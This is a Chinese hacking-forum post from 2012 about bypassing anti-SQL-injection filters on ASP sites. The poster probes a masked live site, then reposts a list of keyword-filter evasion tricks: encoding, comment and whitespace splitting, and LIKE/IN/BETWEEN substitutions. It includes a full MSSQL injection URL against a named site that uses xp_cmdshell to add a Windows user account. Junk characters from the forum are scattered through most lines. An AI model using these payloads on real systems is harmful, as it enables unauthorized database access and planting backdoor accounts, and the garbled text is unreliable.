找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2338|回复: 0
打印 上一主题 下一主题

饶过防注入系统方法总结

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:47:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
路过这个网站,检测了一下.' Z$ o9 A, D! Z
http://www.xxx.cn/Article.asp?ID=117 and 1=1
2 e8 `' `& h+ d8 Y3 d6 d6 O) G直接返回主页% _/ h4 a, c- V4 p5 x1 o
http://www.xxx.cn/Article.asp?ID=117 or 1=1
( B- w( b- m+ m直接返回主页
# m! H6 U' b  I4 O  s9 ~http://www.xxx.cn/Article.asp?ID=117 or
! ~, b7 i( l. d! `没有返回主页 没有过滤or: X6 ^9 N0 ^/ ~3 n/ v; n
http://www.xxx.cn/Article.asp?ID=117 and
; \3 x2 _3 d+ E, `直接返回主页 看来过滤了and* f+ p$ m( |$ E) [1 y& S
http://www.xxx.cn/Article.asp?ID=117 or 14 Y; }7 V8 K" [
没有返回主页 即没有过滤or 也没有过滤1
! a/ U; _! O# v; thttp://www.xxx.cn/Article.asp?ID=117 or 1=1
7 w) B+ u, Y# e# g3 j0 x$ e直接返回主页 很明显过滤了等号
* [8 q6 L! t! q. F! ^+ x, S. m- Ior的特性是与and相反的.! \+ Y) H5 B' r: ]1 o5 t# r$ r
or 1=1 爆错 或与原页面不同
0 `8 t; w) U; J( R8 l) a: |  aor 1=2 原页面相同3 D8 h$ D9 D1 w* u( L9 T* R
这样就是一个注入点* E6 I: E& J) z" V& A' y! f
但他过滤了=号 我就用><号代替=号吧!  a, m2 K7 a- t! \2 o: y
or 1<2 很明显是正确的,所以应该与原页面不同
8 s  K% g9 i. t* A1 V2 xor 1>2 很明显是错误的,所以应该与原页面相同/ z- I% ~/ d1 X7 B
然后看看有没有过滤其他的查询语句,比如select.
# U$ u" L" _; fhttp://www.xxx.cn/Article.asp?ID=117 select. Z! v" Y2 t% [
直接返回主页
# M5 Q2 ^- V- x8 s) I又迷茫了..6 h- w5 Q4 z- e. J

+ `8 Q) r2 P; y: S- S' k0 ?# W1 M( N0 H
cookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗/ b" T' j0 [0 y; d' Z1 e
这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)9 H0 X7 i$ D6 `$ y
================================================1 ^6 q/ k% N7 a  \
以下是转贴:
3 ]+ j3 j$ {0 x2 l7 F: ?& t; K  N& A# l4 G  h
突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好…… / r0 S- I7 _/ Z9 W7 H) F
经过我的收集,大部分的防注入程序都过滤了以下关键字:
9 {- P: v. P5 {2 w$ r$ _5 Y7 _and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =
  |9 d  `: e- I/ F$ \1 Z  Z# K而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。 0 ^) c4 H3 F1 h: B& b! }: w* F
对于关键字的过滤,以下是我收集的以及我个人的一些想法。 # Q, y7 H( R9 C) X7 L- I% s5 n
1、运用编码技术绕过 # K2 V5 a3 _, @. {# [
如URLEncode编码,ASCII编码绕过。例如or 1=1即
: o& O1 p5 y; E& a4 ~  M%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
  q' H0 S, A# G* m
! n8 D/ p. f9 I6 Z. F3 g6 ?2、通过空格绕过
1 V, W5 D5 a! i  q( s. H如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如
  q! u" N, X* V( @$ \0 Qor’ swords’ =‘swords’ " T! {2 K0 r: k; S0 @* k
,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。
3 u5 O/ v3 n, n/ a3、运用字符串判断代替 % j- Z! c4 @: h
用经典的or 1=1判断绕过,如
* \! ]$ h1 U: \" |7 e3 G. Dor ’swords’ =’swords’
+ |7 K' X* T) a* U. x,这个方法就是网上在讨论的。
8 A5 l+ \, |' u8 F4、通过类型转换修饰符N绕过 4 ^# n5 l2 T4 {- M
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。 $ s" m0 ^" O. `/ T( R
5、通过+号拆解字符串绕过
* z' P: K8 |! w/ W效果值得考证,但毕竟是一种方法。如 7 C$ w$ K* P# n% \  T: l
or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) # |! V) W# j2 j. q2 [3 C5 Y1 L" R

$ K: H- L  M" z6、通过LIKE绕过
% {" F8 b' n8 ?4 s以前怎么就没想到呢?如or # ~! @; f0 v* v: E
’swords’ LIKE ’sw’
1 k. a: |2 ]0 e" U!!!显然可以很轻松的绕过 2 x& v+ q. n  X5 l- E$ O5 k7 t. m
“=”“>” ( {% M+ L" ]7 x
的限制……
5 |7 {9 [' N$ C0 _5 u3 ]0 j7、通过IN绕过 4 S- m! L8 S' Y3 T. |2 o* [
与上面的LIKE的思路差不多,如
9 a' C7 B) ~2 Dor ’swords’ IN (’swords’)
+ Y0 d) G1 Y4 }) a
" z& H3 o" c8 ]0 F+ }8、通过BETWEEN绕过 . a1 N9 R0 S4 U& j5 u+ T

% v1 U4 f/ E1 z+ Dor ’swords’ BETWEEN ’rw’ AND ’tw’   _& w5 {  i2 G( R) }9 o' }
7 E- N8 v# |0 L+ c$ J: k8 J5 h, V
9、通过>或者<绕过
+ }' x+ y9 @  v; n0 r3 F. mor ’swords’ > ’sw’
1 N  c, ?; i. T  C  O2 D6 Lor ’swords’ < ’tw’
2 G5 K  [3 O  V3 Yor 1<3
' v5 ]' \  ^5 h, w" C6 O……
& K/ W) P9 f/ H9 G7 B10、运用注释语句绕过
; `: e9 R5 D- `. ~: j' U用/**/代替空格,如:
2 V, |, ~1 W4 n3 G- R' cUNION /**/ Select /**/user,pwd,from tbluser 6 |7 x  S' y3 P# ]

, }: w$ z$ j% _9 x$ r  L  X2 u& g用/**/分割敏感词,如:
4 l- j' d9 h! WU/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
, j3 A* b# A% G5 X8 G' m8 h2 d3 ^. |. ?1 L# o8 s3 s
11、用HEX绕过,一般的IDS都无法检测出来
, K0 Y) j; `2 E* z2 e. d1 X0x730079007300610064006D0069006E00 =hex(sysadmin) / f- s. U: r0 J& d  H1 q
0x640062005F006F0077006E0065007200 =hex(db_owner) 5 e# p  r) J, i) M1 \4 C
另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:
5 e  a8 p1 F& V7 ^+ C, U: B  declare @a sysname $ v+ k% s0 }& \" [) n" e0 X
  select @a= % F1 X+ V+ e) [" l8 X) Z. Y
  exec master.dbo.xp_cmdshell @a
% d5 u5 b; B2 E* I8 U效果 , M+ t4 L0 D, \) m6 M. ?
http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];--
9 o3 B6 p# H* P7 K; h$ ?4 `# J5 X7 n4 ]- {
其中的
) ?* d7 r( D* [3 k" [. C& U0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 9 ?" O: ^; T3 y# l, S3 P; `
就是
9 g" X1 u$ u# h# X“net user angel pass /add”: S+ Q4 A6 o1 r4 [
; x) u5 P7 V3 L1 N+ p/ A
一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。
0 J, \/ N3 d, \. k3 c$ t引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。
" L- n) r* W) \! C  }5 F另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似
. M/ A9 ^/ f; ^0 V+ E2 lCopy code9 {' z# Q, R1 p
select * from table exec xp_cmdshell'xxxxxxxxxx'% J6 F$ P+ e' U6 Y- g
2 L+ [) Y8 `. }; D! v0 x; W. C
( i0 W. q9 c4 a# A8 {
select * from table/**/exec xp_cmdshell'xxxxxxxxxx'2 J- K" G  a# U3 L1 ?

# g- z" h2 K* D: K5 r" g1 i$ c# s) j4 R+ g1 K: F! T
select * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'
6 Q0 \, R5 c$ f# f( ?1 \
, G* F8 n0 L: h" K% A; L, O' S
/ c; ~) ^; E$ F" q& ?& hselect * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'/ A- O; J# V% P' Q. A

# q  _3 P! V) O$ D+ O0 ~的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?# l$ n3 H, W) q0 x
: O4 X# p  x# Z0 [" A, d
这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了0 o) c* r/ X6 m# `( A
可能大家早就知道了,不管怎么说,发在这里吧!
4 }& w( d4 H& i/ z! ], L6 a; Z: X# k& x! {: K4 p, j9 K: k
最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。
- |9 ^9 p# U: b, p0 M3 r8 X9 ?! A9 ?0 M& K5 k% O
$ V: c; V& V- J6 ~: m2 T/ R3 U
- p& L! D7 r" F
对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
; u& k# j/ L. N比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧?
3 I2 \5 v- |# y4 i) O. o  E' i4 Q* M2 H9 o, ?
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表